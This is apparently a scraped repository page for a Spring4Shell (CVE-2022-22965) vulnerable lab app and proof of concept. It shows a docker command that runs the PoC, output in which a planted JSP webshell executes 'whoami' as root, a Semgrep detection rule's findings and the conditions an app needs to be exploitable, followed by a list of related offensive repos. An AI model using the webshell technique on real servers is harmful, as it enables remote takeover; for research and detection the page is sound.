CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

An Advanced Local Network IP Scanner, made in python of course!

IDA loader for Apple's iBoot, SecureROM and AVPBooter

Threat Intel Platform for T-POTs

Client script for the fisherman phishing tool

Scanning for CVE-2021-44228

Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Dome - Subdomain Enumeration Tool. Fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports.

A TCP Backdoor made in python

A tool combined with the advantages of masscan and nmap

IDAPatternSearch adds a capability of finding functions according to bit-patterns into the well-known IDA Pro disassembler based on Ghidra’s function patterns format.

SPV SecurePasswordVerification

A malware to encrypt all the .txt and .jpg files in target computer using RSA algorithms

A tool to find good RCE From my series: A powerful Burp extension to make bounties rain

♻️ Password Generator (PSG) 📚 This plugin is made for more familiarity with Python, but can also be used to create passwords

Crypto Meta Extractor

Open Source Tool - Cybersecurity Graph Database in Neo4j

The Web Application Firewall Paranoia Level Test Tool.

This tool was created in order to automate some basic OSINT tasks for penetration testing assingments.

The RDT protocol (RDT3.0,GBN,SR) implementation and performance evaluation code using socket

Confluence Server Webwork OGNL injection

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

An Advanced Local Network IP Scanner, made in python of course!

IDA loader for Apple's iBoot, SecureROM and AVPBooter

Threat Intel Platform for T-POTs

Client script for the fisherman phishing tool

Scanning for CVE-2021-44228

Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Dome - Subdomain Enumeration Tool. Fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports.

A TCP Backdoor made in python

A tool combined with the advantages of masscan and nmap

IDAPatternSearch adds a capability of finding functions according to bit-patterns into the well-known IDA Pro disassembler based on Ghidra’s function patterns format.

SPV SecurePasswordVerification

A malware to encrypt all the .txt and .jpg files in target computer using RSA algorithms

A tool to find good RCE From my series: A powerful Burp extension to make bounties rain

♻️ Password Generator (PSG) 📚 This plugin is made for more familiarity with Python, but can also be used to create passwords

Crypto Meta Extractor

Open Source Tool - Cybersecurity Graph Database in Neo4j

The Web Application Firewall Paranoia Level Test Tool.

This tool was created in order to automate some basic OSINT tasks for penetration testing assingments.

The RDT protocol (RDT3.0,GBN,SR) implementation and performance evaluation code using socket

Confluence Server Webwork OGNL injection

Vulnerable app requirements¹